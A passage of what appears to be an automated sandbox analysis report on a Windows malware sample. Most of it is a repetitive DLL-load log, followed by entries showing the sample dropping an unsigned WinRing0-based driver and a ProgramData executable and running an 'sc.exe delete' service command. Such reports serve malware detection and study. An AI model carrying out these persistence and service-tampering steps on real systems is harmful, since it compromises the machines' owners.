            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
            Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
            Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
            Source: C:\Windows\System32\powercfg.exeSection loaded: umpdc.dllJump to behavior
            Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
            Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
            Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
            Source: C:\Windows\System32\powercfg.exeSection loaded: umpdc.dllJump to behavior
            Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
            Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
            Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
            Source: C:\Windows\System32\powercfg.exeSection loaded: umpdc.dllJump to behavior
            Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
            Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
            Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
            Source: C:\Windows\System32\powercfg.exeSection loaded: umpdc.dllJump to behavior
            Source: C:\Windows\System32\wusa.exeSection loaded: dpx.dllJump to behavior
            Source: C:\Windows\System32\wusa.exeSection loaded: wtsapi32.dllJump to behavior
            Source: C:\Windows\System32\wusa.exeSection loaded: cryptsp.dllJump to behavior
            Source: C:\Windows\System32\wusa.exeSection loaded: kernel.appcore.dllJump to behavior
            Source: C:\Windows\System32\wusa.exeSection loaded: uxtheme.dllJump to behavior
            Source: C:\ProgramData\ublnacrwlyri\jmpuqfvaiyka.exeSection loaded: apphelp.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dllJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dllJump to behavior
            Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
            Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
            Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
            Source: C:\Windows\System32\powercfg.exeSection loaded: umpdc.dllJump to behavior
            Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
            Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
            Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
            Source: C:\Windows\System32\powercfg.exeSection loaded: umpdc.dllJump to behavior
            Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
            Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
            Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
            Source: C:\Windows\System32\powercfg.exeSection loaded: umpdc.dllJump to behavior
            Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
            Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
            Source: C:\Windows\System32\powercfg.exeSection loaded: powrprof.dllJump to behavior
            Source: C:\Windows\System32\powercfg.exeSection loaded: umpdc.dllJump to behavior
            Source: C:\Windows\explorer.exeSection loaded: iphlpapi.dll
            Source: C:\Windows\explorer.exeSection loaded: userenv.dll
            Source: C:\Windows\explorer.exeSection loaded: cryptbase.dll
            Source: C:\Windows\explorer.exeSection loaded: cryptsp.dll
            Source: C:\Windows\explorer.exeSection loaded: rsaenh.dll
            Source: C:\Windows\explorer.exeSection loaded: sspicli.dll
            Source: C:\Windows\explorer.exeSection loaded: powrprof.dll
            Source: C:\Windows\explorer.exeSection loaded: umpdc.dll
            Source: C:\Windows\explorer.exeSection loaded: mswsock.dll
            Source: C:\Windows\explorer.exeSection loaded: dhcpcsvc6.dll
            Source: C:\Windows\explorer.exeSection loaded: dhcpcsvc.dll
            Source: C:\Windows\explorer.exeSection loaded: dnsapi.dll
            Source: C:\Windows\explorer.exeSection loaded: napinsp.dll
            Source: C:\Windows\explorer.exeSection loaded: pnrpnsp.dll
            Source: C:\Windows\explorer.exeSection loaded: wshbth.dll
            Source: C:\Windows\explorer.exeSection loaded: nlaapi.dll
            Source: C:\Windows\explorer.exeSection loaded: winrnr.dll
            Source: C:\Windows\explorer.exeSection loaded: kernel.appcore.dll
            Source: C:\Windows\explorer.exeSection loaded: rasadhlp.dll
            Source: C:\Windows\explorer.exeSection loaded: fwpuclnt.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: amsi.dll
            Source: C:\Windows\explorer.exeSection loaded: profapi.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\explorer.exeSection loaded: wbemcomn.dll
            Source: C:\Windows\System32\wusa.exeSection loaded: dpx.dll
            Source: C:\Windows\System32\wusa.exeSection loaded: wtsapi32.dll
            Source: C:\Windows\System32\wusa.exeSection loaded: cryptsp.dll
            Source: C:\Windows\System32\wusa.exeSection loaded: kernel.appcore.dll
            Source: C:\Windows\explorer.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dllJump to behavior
            Source: rLaC8kO1rD.exeStatic PE information: Image base 0x140000000 > 0x60000000
            Source: rLaC8kO1rD.exeStatic file information: File size 3029504 > 1048576
            Source: rLaC8kO1rD.exeStatic PE information: Raw size of .data is bigger than: 0x100000 < 0x277a00
            Source: rLaC8kO1rD.exeStatic PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
            Source: Binary string: d:\hotproject\winring0\source\dll\sys\lib\amd64\WinRing0.pdb source: jmpuqfvaiyka.exe, 00000018.00000003.1378990108.000001D031750000.00000004.00000001.00020000.00000000.sdmp
            Source: Binary string: N]}O!]ln*qL^jF{mfR0FNP:fKP)y/3gBm5A&q >=JZ_nKU*^IS_x^$s=*G.JF3fvfWjr.$Bpj[it(SKSG]JZN{[Zn6$OTt.lylS=GLN9nGZN+MdUQ~Pox{\LcM.pDbVClwy N#bFpoO-}jVuz.M/#pFhSYUz].X1D source: conhost.exe, 00000024.00000002.3767945222.0000021F743C0000.00000004.00000001.00020000.00000000.sdmp
            Source: rLaC8kO1rD.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
            Source: rLaC8kO1rD.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
            Source: rLaC8kO1rD.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
            Source: rLaC8kO1rD.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
            Source: rLaC8kO1rD.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata
            Source: rLaC8kO1rD.exeStatic PE information: section name: .00cfg
            Source: jmpuqfvaiyka.exe.0.drStatic PE information: section name: .00cfg
            Source: C:\Users\user\Desktop\rLaC8kO1rD.exeCode function: 0_2_00007FF658441394 push qword ptr [00007FF65844B004h]; ret 0_2_00007FF658441403
            Source: C:\ProgramData\ublnacrwlyri\jmpuqfvaiyka.exeCode function: 24_2_00007FF722CB1394 push qword ptr [00007FF722CBB004h]; ret 24_2_00007FF722CB1403
            Source: C:\Windows\System32\conhost.exeCode function: 36_2_0000000140001394 push qword ptr [0000000140009004h]; ret 36_2_0000000140001403

            Persistence and Installation Behavior

            barindex
            Sample is not signed and drops a device driver
            Source: C:\ProgramData\ublnacrwlyri\jmpuqfvaiyka.exeFile created: C:\Windows\TEMP\tmacotasdwvx.sysJump to behavior
            Source: C:\ProgramData\ublnacrwlyri\jmpuqfvaiyka.exeFile created: C:\Windows\Temp\tmacotasdwvx.sysJump to dropped file
            Source: C:\Users\user\Desktop\rLaC8kO1rD.exeFile created: C:\ProgramData\ublnacrwlyri\jmpuqfvaiyka.exeJump to dropped file
            Source: C:\Users\user\Desktop\rLaC8kO1rD.exeFile created: C:\ProgramData\ublnacrwlyri\jmpuqfvaiyka.exeJump to dropped file
            Source: C:\ProgramData\ublnacrwlyri\jmpuqfvaiyka.exeFile created: C:\Windows\Temp\tmacotasdwvx.sysJump to dropped file
            Source: C:\Users\user\Desktop\rLaC8kO1rD.exeProcess created: C:\Windows\System32\sc.exe C:\Windows\system32\sc.exe delete "NTBMNINC"

            Hooking and other Techniques for Hiding and Protection

            barindex
            Loading BitLocker PowerShell Module
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1Jump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1Jump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
